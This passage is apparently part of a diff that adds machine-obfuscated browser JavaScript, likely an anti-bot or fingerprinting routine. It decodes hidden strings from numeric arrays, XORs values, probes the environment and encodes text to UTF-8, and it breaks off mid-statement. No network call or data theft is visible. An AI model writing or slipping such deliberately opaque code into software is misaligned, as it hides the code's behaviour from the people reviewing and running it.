_$Gv; + _$PT++; + _$Qv = _$DT; + _$Wv = _$TT; + _$Yv = _$_C; + _$Ov = _$PT; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$jT(_$Qv, _$Pv); + _$YT = _$Gv; + _$PT++; + _$Qv = _$DT; + _$Wv = _$TT; + _$Yv = _$_C; + _$Ov = _$PT; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$jT(_$Qv, _$Pv); + _$WT = _$Gv; + _$PT++; + _$Qv = _$GT; + _$Wv = _$NT; + _$Yv = _$OT; + _$Ov = _$KT; + _$Pv = _$Yv * _$Ov; + _$Gv = _$KT; + _$Zv = _$Pv * _$Gv; + _$Ev = _$KT; + _$_v = _$Zv * _$Ev; + _$Vv = _$UT; + _$qv = _$KT; + _$Hv = _$Vv * _$qv; + _$xv = _$KT; + _$Bv = _$Hv * _$xv; + _$Xv = _$_v + _$Bv; + _$Fv = _$YT; + _$$v = _$KT; + _$es = _$Fv * _$$v; + _$ts = _$Xv + _$es; + _$ds = _$WT; + _$Ms = _$ts + _$ds; + _$Qv[_$Wv] = _$Ms + } + _$Qv = _$BC; + _$QT = _$Qv; + for (_$ZT = 0; _$ZT < _$GT.length; _$ZT++) { + _$Qv = _$GT; + _$Wv = _$ZT; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$QT += _$Ov + } + _$Qv = _$QT; + _$zT = _$Qv; + _$Wv = []; + _$ET = _$Wv; + for (_$RT = 0, + _$_T = _$zT.length; _$RT < _$_T; _$RT++) { + _$Qv = _$ET; + _$Wv = _$LC; + _$Yv = _$zT; + _$Ov = _$OC; + _$Pv = _$RT; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Qv[_$Wv](_$Gv) + } + _$Qv = _$ET; + _$VW = _$Qv + } + _$Qv = 0; + _$wY = _$Qv; + _$Qv = _$Hh; + _$LT = _$Qv; + _$Wv = 1; + _$VT = _$Wv; + _$Qv = _$VT; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$VT = _$Yv; + _$Qv = 1; + _$LT = _$Qv; + _$Qv = _$BC; + _$qT = _$Qv; + _$Qv = _$VT; + _$LT = _$Qv; + _$Qv = 475136; + _$Wv = 454656; + _$Yv = 458752; + _$Ov = [_$Qv, _$Wv, _$Yv]; + _$VT = _$Ov; + for (_$HT = 0; _$HT < _$VT.length; _$HT++) { + _$Qv = _$qT; + _$Wv = _$VT; + _$Yv = _$HT; + _$Ov = _$Wv[_$Yv]; + _$Pv = 12; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$qT = _$Ev + } + _$Qv = _$VT; + _$Wv = _$LC; + _$Yv = _$LT; + _$Ov = _$Qv[_$Wv](_$Yv); + _$VT = _$Ov; + _$Qv = _$_Y; + _$Wv = _$qT; + _$Yv = _$Qv[_$Wv]; + _$xT = _$Yv; + _$Ov = _$_Y; + _$BT = _$Ov; + _$Qv = []; + _$jY = _$Qv; + _$Qv = 30; + _$XT = _$Qv; + _$Wv = 0; + _$FT = _$Wv; + _$Yv = _$hY++; + _$JT = _$Yv; + _$Qv = _$JT; + _$Wv = 6801; + _$Yv = 2500; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 16982; + _$Zv = 32315; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 84575; + _$qv = 148705; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$JT = _$xv; + _$Qv = _$JT; + _$Wv = 78072; + _$Yv = 155208; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$Gv = 50; + _$Zv = _$XT; + _$Ev = _$Gv - _$Zv; + _$_v = 1; + _$Vv = _$Ev + _$_v; + _$qv = _$Pv * _$Vv; + _$Hv = _$XT; + _$xv = _$qv + _$Hv; + _$$T = _$xv; + for (_$aj = 0; _$aj < (_$FT | _$$T); _$aj++) { + _$Qv = 40; + _$Wv = 40; + _$Yv = _$Qv + _$Wv; + _$ej = _$Yv; + _$Ov = 0; + _$rj = _$Ov; + _$Pv = _$hY++; + _$cj = _$Pv; + _$Qv = _$cj; + _$Wv = 16056; + _$Yv = 6755; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 23420; + _$Zv = 25877; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 348237; + _$qv = 114957; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$cj = _$xv; + _$Qv = _$cj; + _$Wv = 386257; + _$Yv = 152977; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$Gv = 120; + _$Zv = 7; + _$Ev = _$Gv + _$Zv; + _$_v = _$ej; + _$Vv = _$Ev - _$_v; + _$qv = 1; + _$Hv = _$Vv + _$qv; + _$xv = _$Pv * _$Hv; + _$Bv = _$ej; + _$Xv = _$xv + _$Bv; + _$vj = _$Xv; + _$Qv = _$jY; + _$Wv = _$LC; + _$Yv = _$rj; + _$Ov = _$vj; + _$Pv = _$Yv | _$Ov; + _$Qv[_$Wv](_$Pv) + } + _$Qv = _$Je + _$$e + _$ar; + _$sj = _$Qv; + _$Wv = _$sj; + _$Yv = _$OC; + _$Ov = 0; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$sj; + _$Zv = _$PC; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv - _$Ev; + _$Vv = _$bW(_$_v); + _$nj = _$Vv; + for (_$fj = 1; _$fj < _$sj.length; _$fj++) { + _$Qv = _$sj; + _$Wv = _$OC; + _$Yv = _$fj; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = _$nj; + _$Gv = _$OC; + _$Zv = _$fj; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Pv[_$Gv](_$_v); + _$qv = _$Ov - _$Vv; + _$Hv = _$bW(_$qv); + _$nj += _$Hv + } + _$Qv = _$qh; + _$tj = _$Qv; + _$Wv = 1; + _$ij = _$Wv; + _$Qv = _$ij; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$ij = _$Yv; + _$Qv = 1; + _$tj = _$Qv; + _$Qv = _$BC; + _$oj = _$Qv; + _$Qv = _$ij; + _$tj = _$Qv; + _$Qv = 909312; + _$Wv = 802816; + _$Yv = 868352; + _$Ov = 827392; + _$Pv = 811008; + _$Gv = 950272; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$ij = _$Zv; + for (_$kj = 0; _$kj < _$ij.length; _$kj++) { + _$Qv = _$oj; + _$Wv = _$ij; + _$Yv = _$kj; + _$Ov = _$Wv[_$Yv]; + _$Pv = 13; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$oj = _$Ev + } + _$Qv = _$ij; + _$Wv = _$LC; + _$Yv = _$tj; + _$Ov = _$Qv[_$Wv](_$Yv); + _$ij = _$Ov; + _$Qv = _$sY; + _$Wv = _$nj; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$oj; + _$Pv = _$Yv === _$Ov; + _$bj = _$Pv; + _$Gv = _$xT; + _$Zv = _$BT; + _$Ev = _$Gv != _$Zv; + _$lj = _$Ev; + _$Qv = _$lj; + if (_$Qv) { + for (_$aj = 0; _$aj < 20; _$aj += 2) { + _$Qv = _$jY; + _$Wv = _$aj; + _$Yv = _$jY; + _$Ov = _$aj; + _$Pv = _$Yv[_$Ov]; + _$Gv = 2; + _$Zv = _$Pv / _$Gv; + _$Ev = parseInt(_$Zv); + _$_v = _$MY; + _$Vv = _$wY; + _$qv = _$_v[_$Vv]; + _$Hv = _$Ev ^ _$qv; + _$Qv[_$Wv] = _$Hv + } + } + _$Qv = _$lj; + _$Wv = !_$Qv; + if (_$Wv) { + for (_$aj = 0; _$aj < _$jY.length; _$aj++) { + _$Qv = _$jY; + _$Wv = _$aj; + _$Yv = _$jY; + _$Ov = _$aj; + _$Pv = _$Yv[_$Ov]; + _$Gv = _$MY; + _$Zv = _$wY; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv ^ _$Ev; + _$Qv[_$Wv] = _$_v + } + } + _$wY++; + _$Qv = []; + _$iY = _$Qv; + _$Qv = _$BW; + _$hj = _$Qv; + _$Wv = _$pW; + _$gj = _$Wv; + _$Yv = 32; + _$Ij = _$Yv; + _$Ov = 0; + _$Aj = _$Ov; + _$Pv = _$OW; + _$Sj = _$Pv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$Sj; + _$Wv = 6712; + _$Yv = 2589; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 84600; + _$Zv = 35303; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 61820; + _$qv = 171460; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$Sj = _$xv; + _$Qv = _$Sj; + _$Wv = 101519; + _$Yv = 131761; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$mj = _$Pv; + _$Qv = _$mj; + _$Wv = _$uW; + _$Yv = _$Qv === _$Wv; + if (_$Yv) { + _$Qv = _$OW; + _$Tj = _$Qv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$Tj; + _$Wv = 4894; + _$Yv = 4407; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 68321; + _$Zv = 19024; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 328354; + _$qv = 95074; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$Tj = _$xv; + _$Qv = _$Tj; + _$Wv = 350956; + _$Yv = 117676; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$mj = _$Pv; + _$Qv = _$mj; + _$uW = _$Qv + } + _$Qv = _$mj; + _$Wv = 53; + _$Yv = _$Ij; + _$Ov = _$Wv - _$Yv; + _$Pv = 1; + _$Gv = _$Ov + _$Pv; + _$Zv = _$Qv * _$Gv; + _$Ev = _$Ij; + _$_v = _$Zv + _$Ev; + _$jj = _$_v; + for (_$Cj = 0; _$Cj < (_$Aj | _$jj); _$Cj++) { + _$Qv = 70; + _$Wv = 10; + _$Yv = _$Qv + _$Wv; + _$Dj = _$Yv; + _$Ov = 0; + _$Kj = _$Ov; + _$Pv = _$OW; + _$Wj = _$Pv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$Wj; + _$Wv = 11907; + _$Yv = 2606; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 78767; + _$Zv = 29470; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 141387; + _$qv = 91893; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$Wj = _$xv; + _$Qv = _$Wj; + _$Wv = 152501; + _$Yv = 80779; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$Yj = _$Pv; + _$Qv = _$Yj; + _$Wv = _$uW; + _$Yv = _$Qv === _$Wv; + if (_$Yv) { + _$Qv = _$OW; + _$Uj = _$Qv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$Uj; + _$Wv = 3356; + _$Yv = 5945; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 77580; + _$Zv = 28283; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 80434; + _$qv = 152846; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$Uj = _$xv; + _$Qv = _$Uj; + _$Wv = 324629; + _$Yv = 91349; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv / _$Ov; + _$Yj = _$Pv; + _$Qv = _$Yj; + _$uW = _$Qv + } + _$Qv = _$Yj; + _$Wv = 110; + _$Yv = 17; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Dj; + _$Gv = _$Ov - _$Pv; + _$Zv = 1; + _$Ev = _$Gv + _$Zv; + _$_v = _$Qv * _$Ev; + _$Vv = _$Dj; + _$qv = _$_v + _$Vv; + _$Oj = _$qv; + _$Qv = _$iY; + _$Wv = _$LC; + _$Yv = _$Kj; + _$Ov = _$Oj; + _$Pv = _$Yv | _$Ov; + _$Qv[_$Wv](_$Pv) + } + _$Qv = false; + _$Pj = _$Qv; + try { + _$Qv = Close; + _$Gj = _$Qv + } catch (_$a) { + _$Qv = 456; + _$Pj = _$Qv + } + _$Qv = 0; + _$Lj = _$Qv; + _$Wv = _$Ve + _$Fe + _$Xe + _$xe + _$He + _$qe + _$Be; + _$Vj = _$Wv; + _$Yv = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = []; + _$t = _$c; + for (_$o = 0; _$o < 10; _$o++) { + _$c = _$t; + _$v = _$LC; + _$s = _$o; + _$n = 6; + _$f = _$s + _$n; + _$c[_$v](_$f) + } + _$c = _$t; + _$v = 4; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 6; + _$k = _$n[_$f]; + _$b = _$s + _$k; + _$i = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 7; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 6; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 8; + _$s = _$i; + _$n = _$t; + _$f = 4; + _$k = _$n[_$f]; + _$b = _$s / _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + if (_$f) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f + } + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 0; + _$s = _$c[_$v]; + _$g = _$s; + _$c = _$t; + _$v = 8; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 0; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 4; + _$s = _$i; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$qj = _$Yv; + _$Ov = _$Cr + _$Dr + _$Ne + _$ze + _$_e + _$Ze + _$Le + _$Ee + _$Re; + _$Hj = _$Ov; + _$Pv = _$Hj; + _$Gv = _$PC; + _$Zv = _$Pv[_$Gv]; + _$xj = _$Zv; + _$Ev = 0; + _$eC = _$Ev; + _$Qv = []; + _$rC = _$Qv; + _$Qv = _$Vj; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 4; + _$Pv = _$Yv / _$Ov; + _$Bj = _$Pv; + for (_$cC = 0; _$cC < _$Bj; _$cC++) { + _$Qv = _$Hj; + _$Wv = _$Vj; + _$Yv = _$_C; + _$Ov = _$eC; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$qj(_$Qv, _$Pv); + _$aC = _$Gv; + _$eC++; + _$Qv = _$Hj; + _$Wv = _$Vj; + _$Yv = _$_C; + _$Ov = _$eC; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$qj(_$Qv, _$Pv); + _$$j = _$Gv; + _$eC++; + _$Qv = _$Hj; + _$Wv = _$Vj; + _$Yv = _$_C; + _$Ov = _$eC; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$qj(_$Qv, _$Pv); + _$Jj = _$Gv; + _$eC++; + _$Qv = _$Hj; + _$Wv = _$Vj; + _$Yv = _$_C; + _$Ov = _$eC; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$qj(_$Qv, _$Pv); + _$Xj = _$Gv; + _$eC++; + _$Qv = _$rC; + _$Wv = _$cC; + _$Yv = _$aC; + _$Ov = _$xj; + _$Pv = _$Yv * _$Ov; + _$Gv = _$xj; + _$Zv = _$Pv * _$Gv; + _$Ev = _$xj; + _$_v = _$Zv * _$Ev; + _$Vv = _$$j; + _$qv = _$xj; + _$Hv = _$Vv * _$qv; + _$xv = _$xj; + _$Bv = _$Hv * _$xv; + _$Xv = _$_v + _$Bv; + _$Fv = _$Jj; + _$$v = _$xj; + _$es = _$Fv * _$$v; + _$ts = _$Xv + _$es; + _$ds = _$Xj; + _$Ms = _$ts + _$ds; + _$Qv[_$Wv] = _$Ms + } + _$Qv = _$BC; + _$Bj = _$Qv; + for (_$vC = 0; _$vC < _$rC.length; _$vC++) { + _$Qv = _$rC; + _$Wv = _$vC; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$Bj += _$Ov + } + _$Qv = _$gj; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 10; + _$Pv = _$Yv > _$Ov; + _$Gv = _$Pv ? (_$ks = _$hj, + _$Ns = _$Bj, + _$ks[_$Ns]) : 0; + _$sC = _$Gv; + _$Qv = _$sC; + if (_$Qv) { + _$Qv = _$sC; + _$Lj = _$Qv + } + _$Qv = _$Vh; + _$nC = _$Qv; + _$Wv = 1; + _$fC = _$Wv; + _$Qv = _$fC; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$fC = _$Yv; + _$Qv = 1; + _$nC = _$Qv; + _$Qv = _$BC; + _$tC = _$Qv; + _$Qv = _$fC; + _$nC = _$Qv; + _$Qv = 388; + _$Wv = 460; + _$Yv = 400; + _$Ov = 388; + _$Pv = 460; + _$Gv = 400; + _$Zv = 388; + _$Ev = 460; + _$_v = 400; + _$Vv = 480; + _$qv = 460; + _$Hv = 400; + _$xv = 460; + _$Bv = 400; + _$Xv = 200; + _$Fv = 204; + _$$v = 208; + _$es = 200; + _$ts = 204; + _$ds = 408; + _$Ms = 400; + _$Is = 460; + _$As = 400; + _$Ss = 388; + _$Yn = 476; + _$Un = 404; + _$On = 452; + _$Pn = 404; + _$Gn = 200; + _$Nn = 204; + _$Zn = 208; + _$zn = 452; + _$En = 204; + _$Rn = 404; + _$_n = 400; + _$Ln = 476; + _$Vn = 204; + _$qn = 452; + _$Hn = 204; + _$xn = 200; + _$Bn = 400; + _$Xn = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$$v, _$es, _$ts, _$ds, _$Ms, _$Is, _$As, _$Ss, _$Yn, _$Un, _$On, _$Pn, _$Gn, _$Nn, _$Zn, _$zn, _$En, _$Rn, _$_n, _$Ln, _$Vn, _$qn, _$Hn, _$xn, _$Bn]; + _$fC = _$Xn; + for (_$iC = 0; _$iC < _$fC.length; _$iC++) { + _$Qv = _$tC; + _$Wv = _$fC; + _$Yv = _$iC; + _$Ov = _$Wv[_$Yv]; + _$Pv = 2; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$tC = _$Ev + } + _$Qv = _$fC; + _$Wv = _$LC; + _$Yv = _$nC; + _$Ov = _$Qv[_$Wv](_$Yv); + _$fC = _$Ov; + _$Qv = _$tC; + _$oC = _$Qv; + _$Wv = 0; + _$kC = _$Wv; + for (var _$vx in _$sC) { + _$kC++ + } + _$Qv = _$Lj; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$kC; + _$Ns = 50; + _$Wv = _$ks > _$Ns + } + _$Lj = _$Wv; + _$Qv = _$Ge + _$Pe; + _$TC = _$Qv; + _$Qv = _$TC; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$lC = _$Yv; + _$Qv = []; + _$jC = _$Qv; + for (_$DC = 0; _$DC < _$lC; _$DC++) { + _$Qv = _$TC; + _$Wv = _$OC; + _$Yv = _$DC; + _$Ov = _$Qv[_$Wv](_$Yv); + _$gC = _$Ov; + _$Qv = _$gC; + _$Wv = 65536; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$gC; + _$Ns = 1114111; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$jC; + _$Wv = _$LC; + _$Yv = _$gC; + _$Ov = 18; + _$Pv = _$Yv >> _$Ov; + _$Gv = 7; + _$Zv = _$Pv & _$Gv; + _$Ev = 240; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$jC; + _$Wv = _$LC; + _$Yv = _$gC; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$jC; + _$Wv = _$LC; + _$Yv = _$gC; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$jC; + _$Wv = _$LC; + _$Yv = _$gC; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$gC; + _$Wv = 2048; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$gC; + _$Ns = 65535; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$jC; + _$Wv = _$LC; + _$Yv = _$gC; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 15; + _$Zv = _$Pv & _$Gv; + _$Ev = 224; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$jC; + _$Wv = _$LC; + _$Yv = _$gC; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$jC; + _$Wv = _$LC; + _$Yv = _$gC; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$gC; + _$Wv = 128; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$gC; + _$Ns = 2047; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$jC; + _$Wv = _$LC; + _$Yv = _$gC; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 31; + _$Zv = _$Pv & _$Gv; + _$Ev = 192; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$jC; + _$Wv = _$LC; + _$Yv = _$gC; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$jC; + _$Wv = _$LC; + _$Yv = _$gC; + _$Ov = 255; + _$Pv = _$Yv & _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + } + } + _$Qv = _$jC; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$yC = _$Yv; + _$Qv = _$yC; + _$Wv = 2; + _$Yv = _$Qv / _$Wv; + _$yC = _$Yv; + _$Qv = []; + _$KC = _$Qv; + _$Qv = 0; + _$wC = _$Qv; + for (_$QC = 0; _$QC < _$yC; _$QC++) { + _$Qv = _$jC; + _$Wv = _$wC; + _$Yv = _$Qv[_$Wv]; + _$IC = _$Yv; + _$Qv = _$jC; + _$Wv = _$wC; + _$Yv = 1; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$AC = _$Pv; + _$Qv = _$wC; + _$Wv = 2; + _$Yv = _$Qv + _$Wv; + _$wC = _$Yv; + _$Qv = _$IC; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$IC = _$Yv; + _$Qv = _$AC; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$AC = _$Yv; + _$Qv = _$AC; + _$Wv = 19; + _$Yv = _$Qv * _$Wv; + _$Ov = _$IC; + _$Pv = _$Yv + _$Ov; + _$MC = _$Pv; + _$Qv = _$MC; + _$Wv = 11; + _$Yv = _$Qv ^ _$Wv; + _$dC = _$Yv; + _$Qv = _$KC; + _$Wv = _$QC; + _$Yv = _$dC; + _$Qv[_$Wv] = _$Yv + } + _$Qv = _$BC; + _$WC = _$Qv; + for (_$HC = 0; _$HC < _$KC.length; _$HC++) { + _$Qv = _$KC; + _$Wv = _$HC; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$wc + _$yc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$YC = _$Gv; + _$Qv = _$YC; + _$Wv = _$LS; + _$Yv = /^1+?(?=0)/; + _$Ov = _$Qv[_$Wv](_$Yv); + _$UC = _$Ov; + _$Qv = _$UC; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$YC; + _$Ns = _$PC; + _$Hs = _$ks[_$Ns]; + _$xs = 8; + _$Wv = _$Hs === _$xs + } + if (_$Wv) { + _$Qv = _$UC; + _$Wv = 0; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$PC; + _$Pv = _$Yv[_$Ov]; + _$VC = _$Pv; + _$Qv = _$KC; + _$Wv = _$HC; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$gr + _$ur; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$_S; + _$Ev = 7; + _$_v = _$VC; + _$Vv = _$Ev - _$_v; + _$qv = _$Gv[_$Zv](_$Vv); + _$qC = _$qv; + for (_$xC = 0; _$xC < _$VC; _$xC++) { + _$Qv = _$KC; + _$Wv = _$xC; + _$Yv = _$HC; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$wc + _$yc; + _$Zv = 2; + _$Ev = _$Pv[_$Gv](_$Zv); + _$_v = _$_S; + _$Vv = 2; + _$qv = _$Ev[_$_v](_$Vv); + _$qC += _$qv + } + _$Qv = _$qC; + _$Wv = 2; + _$Yv = parseInt(_$Qv, _$Wv); + _$Ov = _$bW(_$Yv); + _$WC += _$Ov; + _$Qv = _$VC; + _$Wv = 1; + _$Yv = _$Qv - _$Wv; + _$HC += _$Yv + } else { + _$Qv = _$KC; + _$Wv = _$HC; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$WC += _$Ov + } + } + _$Qv = _$Lj; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$sC; + _$Ns = 